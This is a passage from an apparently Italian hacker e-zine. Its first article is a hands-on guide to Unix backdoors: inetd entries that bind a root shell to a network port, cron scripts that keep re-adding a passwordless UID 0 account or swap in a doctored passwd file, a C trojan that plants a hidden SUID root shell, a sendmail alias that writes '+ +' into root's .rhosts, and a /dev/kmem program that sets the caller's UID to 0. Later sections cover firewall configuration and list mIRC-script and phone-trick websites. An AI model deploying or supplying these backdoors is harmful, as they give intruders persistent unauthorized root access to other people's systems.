Esempio:
Aprite il file etc/inetd.conf in un editor disponibile. Trovare la linea:
daytime stream tcp nowait root internal
e cambiatela in:
daytime stream tcp nowait /bin/sh sh -i.
Ora avete bisogno di riavviare l'etc/inetd cosi da fargli leggere di nuovo il
file di configurazione. Dipende da voi come volete fare questo. Potete killare
e riavviare il processo, (kill -9 , /usr/sbin/inetd o usr/etc/inetd ) che
pero' INTERROMPERA' tutte le connessioni dall'esterno....quindi sarebbe una
buona idea fare questo non negli orari di punta.
Un alternativa a compromettere un servizio ben conosciuto sarebbe installarne
uno nuovo che esegue un programma a vostra scelta. Una soluzione semplice
sarebbe immettere una shell che lavora allo stesso modo della backdoor
precedentemente descritta. C'e' bisogno pero', che il nome del servizio
compaia nell'etc/services come nello /etc/inetd.conf.
Il formato dell' etc/services e' semplice:
(1) (2)/(3) (4)
smtp 25/tcp mail
Il campo (1) e' il nome del servizio, il campo (2) e' il numero della porta,
(3) e' il tipo di protocollo che il servizio aspetta, ed il campo (4) contiene
il nome comune associato al servizio. Per esempio, aggiungete questa linea
all' etc/services:
evil 22/tcp evil
e questa linea al etc/inetd.conf:
evil stream tcp nowait /bin/sh sh -i
ed infine riavviate l'inetd come detto sopra.
NB:queste sono backdoors molto potenti...non solo offrono il rientro nel
sistema da locale ma da qualsiasi account su qualsiasi computer
dell'Internet...;)
BACKDOORS CON IL CRON
Cron e' uno strumento meraviglioso per l'amministrazione del sistema....ma e'
anche uno strumento meraviglioso per creare backdoors perche' il crontab del
root ha, effettivamente, i privilegi di root; di nuovo a seconda del livello
dell'esperienza dell'amministratore di sistema questo tipo di backdoor puo
funzionare piu' o meno a lungo.
Il file /var/spool/crontabs/root e' dove si trova la lista dei cron jobs del
root di solito. Qui ci sono diverse alternative; ne cito solo un paio, poiche'
le backdoors basate sul cron sono limitate soltanto dalla vostra fantasia.
Il cron e' uno strumento che automaticamente esegue comandi ad orari e date
prestabilite. Crontab e' il comando da usare per aggiungere, rimuovere o
vedere i vari cron jobs. Si puo' sia editare manualmente il file
/var/spool/crontab/root che modificarlo con il comando crontab stesso.
Ogni riga del crontab ha sei campi:
(1) (2) (3) (4) (5) (6)
0 0 * * 1 /usr/bin/updatedb
I campi da (1) a (6) sono rispettivamente: i minuti (0-59), le ore (0-23),
giorno del mese (1-31), mese dell' anno (1-12), giorno della settimana (0-6).
Il campo (6) contiene i comandi da eseguire. Lo script dell'esempio di sopra
e' eseguito tutti i lunedi. Per sfruttare il crontab basta aggiungere una riga
a /var/spool/crontab/root. Per esempio possiamo avere un cron job che viene
eseguito ogni giorno e che controlla se nell' /etc/passwd c'e' ancora un
account con UID 0 che abbiamo precedentemente aggiunto, altrimrenti
aggiungerlo se questo non e' piu' presente. Potrebbe essere una buona idea
inserire uno shell script in un cronjob che esiste gia per nascondere
ulteriormente la backdoor.
Ad esempio aggiungere la seguente linea a /var/spool/crontab/root
0 0 * * * /usr/bin/trojancode
dove trojancode e' il seguente shell script:
#!/bin/csh
# C'e' il nostro account nel passwd?
set evilflag = (`grep eviluser /etc/passwd`)
if($#evilflag == 0) then
set linecount = `wc -l /etc/passwd`
cd
cp /etc/passwd ./temppass
@ linecount[1] /= 2
@ linecount[1] += 1
split -$linecount[1] ./temppass
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
rm ./xa* ./temppass
echo Done...
else
endif
Possiamo anche fare qualcos'altro con il cron tab. Dobbiamo avere anche un
altro password file nascosto da qualche parte (/var/spool7mail/.sneaky
potrebbe essere un idea...). In questo passwd ci deve essere un solo account
root. Poi mandiamo in esecuzione un cronjob che ogni mattina alle 2.30 salva
una copia del vero passwd da qualche parte e installera quello hakkato come
VERO /etc/passwd per un minuto. Ogni utente normale che tentera' di effetuare
il login non potra' entrare nel sistema ma un minuto dopo la situazione sara'
di nuovo sotto controllo. Aggiungete questa riga al crontab del root:
29 2 * * * /bin/usr/sneakysneaky_passwd
Accertatevi che questo esista:
#echo "root::0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky
e questo e' un semplice shell script:
#!/bin/csh
# Installa un passwd hakkato per un minuto
cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.sneaky /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd
A questo punto perche' non servirsi del codice c per rendere meno visibile la
backdoor? Questo di seguito e' un cavallo di troia che crea una shell SUID
root .
/* daemon9@netcom.com */
#include
#define KEYWORD "industry3"
#define BUFFERSIZE 10
int main(argc, argv)
int argc;
char *argv[];{
int i=0;
if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
/* This is the trojan part. */
system("cp /bin/csh /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
}
}
/* Put your possibly system specific trojan
messages here */
/* Let's look like we're doing something... */
printf("Sychronizing bitmap image records.");
/* system("ls -alR / >& /dev/null > /dev/null&"); */
for(;i<10;i++){
fprintf(stderr,".");
sleep(1);
}
printf("\nDone.\n");
return(0);
} /* End main */
BACKDOOR CON IL SENDMAIL
Il file degli alias del sendmail permette alla posta mandata ad un singolo
utente di essere processata di seguito da un programma. Ad esempio aggiungete
la linea: decode: |/usr/bin/uudecode al file /etc/aliases
Questo e' il uudecode ;))
uudecode.sh
-----------
#!/bin/sh
# Crea il nostro file rhosts
echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts
Dopo basta telnettare alla porta 25 dell'host all'utente decode@host.com e
usare come subject la versione "uuencoded" del file .rhosts. Per mettere tutto
su una sola linea:
echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@victimserver.com
potete essere creativi quanto volete....potete settare un alias che faccia
eseguire un programma di vostra scelta...
BACKDOOR INSOSPETTABILE
Oltre a questi metodi qui descritti si puo aggiungere del codice hakkato
all'interno di programmi comuni. Questo e' un metodo quasi infallibile che
puo' essere notato solo da programmi come tripware. L'idea e' semplice:
inserire del codice nel sorgente di programmi comunemente usati alcuni dei
programmi piu utili a noi in questi caso sono su, login, passwd perche'
gia mandano in esecuzione il SUID a root e non c'e' bisogno di modifiche ai
permessi. Una volta che vi siete procurati il sorgente, strutturate la
backdoor in questo modo:
....
get input;
if input is special backdoor flag,run backdoor program ;
else if input is valid ,continue;
else quit with error;
....
Questo comunque e' solo un estratto di pseudo codice ...solo per dare un idea
di come impostare la cosa.
BACKDOOR ESOTERICA
Exploit con il /dev/kmem!!! Poiche' il kernel tiene i suoi parametri in
memoria e' possibile modificare la memoria della macchina per cambiare l'UID
del vostro processo. Per fare questo c'e' bisogno che comunque il /dev/kmem
abbia permesso di lettura/scrittura. In pratica vengono eseguite le seguenti
operazioni: Si apre il /dev/kmem, si cerca la vostra page in memoria, si
sovrascriva l'UID del vostro processo e in seguito viene aperta una shell csh
che ereditera' l'UID del vostro processo. Il segunte programma fa proprio
questo.
/* If /kmem is is readable and writable, this program will change the user's
UID and GID to 0. */
/* This code originally appeared in "UNIX security: A practical tutorial"
with some modifications by daemon9@netcom.com */
#include
#include
#include
#include
#include
#include
#include
#define KEYWORD "nomenclature1"
struct user userpage;
long address(), userlocation;
int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{
int count, fd;
long where, lseek();
if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);
if(fd<0){
printf("Cannot read or write to /dev/kmem\n");
perror(argv);
exit(10);
}
userlocation=address();
where=(lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(20);
}
count=read(fd,&userpage,sizeof(struct user));
if(count!=sizeof(struct user)){
printf("Cannot read user page\n");
perror(argv);
exit(30);
}
printf("Current UID: %d\n",userpage.u_ruid);
printf("Current GID: %d\n",userpage.g_ruid);
userpage.u_ruid=0;
userpage.u_rgid=0;
where=lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(40);
}
write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
}
}
} /* End main */
#include
#include
#include
#define LNULL ((LDFILE *)0)
long address(){
LDFILE *object;
SYMENT symbol;
long idx=0;
object=ldopen("/unix",LNULL);
if(!object){
fprintf(stderr,"Cannot open /unix.\n");
exit(50);
}
for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
if(!strcmp("_u",ldgetname(object,&symbol))){
fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
ldclose(object);
return(symbol.n_value);
}
}
fprintf(stderr,"Cannot read symbol table in /unix.\n");
exit(60);
}
E' necessario, affinche' il codice precedente funzioni, che il /dev/kmem sia
scrivibile, e questo non e' quello che succede di solito, dobbiamo occuparcene
noi. Il mio conisglio e' quello di scrivere uno shell script che cambi i
permessi del /dev/kmem per una discreta quantita' di tempo (diciamo 5 minuti)
e poi li cambi di nuovo nella loro configurazione iniziale; potete utilizzare
questo script:
chmod 666 /dev/kmem
sleep 300
chmod 600 /dev/kmem
E questo e' quanto...mi raccomando non fatevi beccare;)
Chi avesse intenzione di contattarmi puo' farlo a:
Jester@cryogen.com
7) Firewall: un approfondimento (Parte II)
Nell'articolo precendente abbiamo visto una panoramica generale su cosa
sia un firewall e come opera, questa volta cercheremo di vedere e capire
piu' da vicino i settaggi che possono determinare la sicurezza/insicurezza
di un firewall ed eventuali servizi aggiuntivi che un firewall puo' svolgere.
Premettendo che un firewall per essere ragionevolmente sicuro deve essere
installato su una macchina dedicata, a meno che non siano previsti servizi
tipo FTP (distribuzione aggiornamenti,listini, ecc.), come accennato la volta
scorsa, la prima cosa che un amministratore di sistema, che si appresta a
montare un firewall, deve fare e' di sospendere tutti i demoni non necessari;
questo per fare si che il sistema sia il piu' "leggero" possibile e soprattutto
per chiudere tutte le connessioni TCP provenienti da porte non necessarie.
Per fare cio' bisogna modificare il file /etc/inetd.conf; vediamo di seguito
un estratto di tale file:
#ident "@(#)inetd.conf 1.22 95/07/14 SMI" /* SVr4.0 1.5 */
#
# Configuration file for inetd(1M). See inetd.conf(4).
#
# To re-configure the running inetd process, edit this file, then
# send the inetd process a SIGHUP.
#
# Syntax for socket-based Internet services:
# <service_name> <socket_type> <proto> <flags> <user> <server_pathname> <args>
#
# Syntax for TLI-based Internet services:
#
# <service_name> tli <proto> <flags> <user> <server_pathname> <args>
#
# Ftp and telnet are standard Internet services.
#
ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd
telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
time stream tcp nowait root internal
Come si puo' notare sono elencati diversi deamon (la lista completa in
genere composta da una ventina di deamon), che in questo caso sono tutti
attivi: per eliminarli non bisogna far altro che inserire un commento (#)
all'inizio della riga in cui sono definiti.
Questo file pero' per noi che siamo fuori dal sistema ha una utilit
relativa
in quanto nel momento in cui riusciamo a darci una occhiata significa che
siamo dentro il sistema e quindi siamo a posto!!8)
Per chi e' fuori l'unico modo di vedere quali porte sono state lasciate aperte
e' di utilizare uno dei tanti Port Scanner, che una volta lanciato ci
elenchera' tutte le porte disponibili, comprese quelle lasciate aperte dai
vari servizi di start up e dal kernel (che non sono elencati nel file appena
visto) tipo mountd, nfsd, rstatd, portmap ecc..
Un'altra cosa da verificare, e' vedere se e' stato disabilitato l'IP
forwarding. Il firewall, essendo collegato a due reti, ha ovviamente due
interfacce di rete, e se l'IP forwarding non e' stato disabilitato tutti i
pacchetti che arrivano ad una interfaccia, e sono destinati ad una LAN
diversa da quella di provenienza (che potrebbe essere anch'essa protetta
dal firewall), vengono ritrasmessi a tutte le interfacce disponibili, compresa
quella che comunica con il "mondo esterno", senza dover passare per il proxy,
di conseguenza tutto il potenziale del firewall viene a cadere.
Ma il vero cuore del sistema e' la rule table cioe' quel file (in genere
/usr/local/etc/netperm-table) dove sono inserite tutte le regole di accesso
alla rete che vengono usate dai proxy dei vari servizi.
Il file in questione e' un file testo in cui in ogni riga e' presente una
regola di accesso; la sintassi ed i paramentri delle varie regole sono diverse
a seconda dei vari servizi e dei tipi di proxy usati, ma piu' o meno ricalcano
questo schema:
<nome proxy> <permit/deny> hosts <xxx.xxx.xxx> -exec <path+argomenti>
<nome proxy> : identifica il servizio a cui va applicata la regola
<permit/deny> hosts <xxx.xxx.xxx> : permette o meno l'accesso ad un IP o un
gruppo di IP
-exec <path+argomenti> : specifica il percorso e gli eventuali argomenti
del programma che gestisce il servizio (demone)
A questi parametri possono esserne aggiunti o eliminati alcuni a seconda
del proxy utilizzato.
Concludiamo infine questa breve panoramica sui firewall ricordando che un
sistema di questo tipo puo' essere usato anche come protezione contro
attacchi ICMP e flood in genere; basta aggiungere delle opportune regole
alla rule table; in genere e' sempre opportuno inserirle...non si sa mai..
la Rete e' piena di lamer che si divertono con poco.....
..SeE Ya..
P.S. Visto che certa gente si lamentata del fatto che per l'articolo del
numero precendente avevo preso spunto dalla Firewall FAQ di Marcus J. Ranum,
vorrei fare notare che, almeno che voi il vostro Know-how non lo prendiate in
pillole, da qualche parte le informazioni vanno lette e di conseguenza visto
che tale documento esponeva alcuni concetti molto bene ho ritenuto opportuno
usarlo come base del mio discorso. Sempre per la cronaca l'articolo che avete
appena letto, non ha preso spunto da niente se non dalla mia personale
esperienza.
8) I siti del Dr.Creker ( by Dr.Creker )
Ok. Riapro questa paginetta iniziata la volta scorsa indicando altri
siti piu' o meno utili.
Niente intro. Questa volta si parte subito.
Solo una cosa: mi sono voluto divertire questa volta con pagine su cellulari
e su script per il mirc. Godeteveli:
http://www.7thsphere.com
Sito dei "produttori" dello script chiamato 7thsphere che, a dir di molti
e' inutile e pieno di bug ma secondo me ha al suo interno alcune interessanti
funzioni come il dns lookup e altre belle cosine. Ci farei un salto.
http://www.mircscripts.com
Altro sito per script del mirc. Se chattate spesso in irc e non vi sentite
sicuri cosa ne dite di scaricare qualche bello scriptino da qua?
http://www.scripterz.com
Ultimo sito della lista sugli script per il mirc. Forse piu' interessante
di quello precendente. Se state cercando qualcosa io non mancherei di
visitare uno di questi tre siti che vi ho detto...poi vedete voi!
http://www.cellular.co.za/gsm-phonesecrets.htm
Sito dedicato ai cellulari. Menu' nascosti e altre varie funzioni sono
descritte in maniera abbastanza carina. Andateci solamente se state cercando
qualcosa sui cellulari.
http://www.starvision.net/gsm
Ottimo sito dedicato ai cellulari di ogni tipo. Vi sono link con le maggiori
ditte che producono cellulari e vi sono elencati per quasi tutte le marche
piu' importanti trucchettini e altre amenita' del genere.
Consigliato.
Con cio' la mia piccola rubrichetta e' finita e conclusa. Vi lascio alla
lettura degli altri articoli. Byez! See Ya!! :)
Ciao a tutti
Dr.Creker
Ringraziamenti
Questa parte dei ringraziamenti e' dedicata interamente ad un mio amico di
nome MainMan che non solo ha dedicato il suo ( poco ) tempo alla creazione
della nostra homepage ma lo ha fatto in maniera direi molto, molto
professionale.
Quindi vorrei semplicemente ringraziarlo da parte mia e di tutti gli altri
ragazzi di SystemDown per cio' che ha fatto e che spero fara' per le
prossime pubblicazioni.
Conclusioni ( by InfectedMachine )
Dovrebbe essere fine luglio, primi di agosto, circa quando leggerete questa
rivista; l'estate e' ormai nel suo pieno. Il mare, il sole, le donne...
insomma, le solite cose di ogni anno.
Non so se ve ne frega qualcosa o meno comunque in tre settimana di "vita"
la pagina di systemdown e' stata visitata da circa seicento anime perse.
Sinceramente non me lo aspettavo; diciamo che lo consideriamo un ottimo
traguardo.
Ora dopo circa un mese e una settimana siamo a quota 800...
Volevo dire una cosa:
Avevo intenzione di inserire nella nostra rivista una piccola parentesi.
Se a qualcuno di voi interessasse pubblicare un suo articolo su un qualsiasi
argomento riguardante i temi trattati in systemdown lo puo' fare mandandolo
a me o al dr.creker che provvederemo alla sua pubblicazione nei futuri numeri
a partire ( sempre che qualcuno scriva si intende! ) dal quarto.
Vi lascio ricordandovi le nostre solite mail a cui ci potete scrivere:
infected@community.co.uk
dr.creker@deathsdoor.com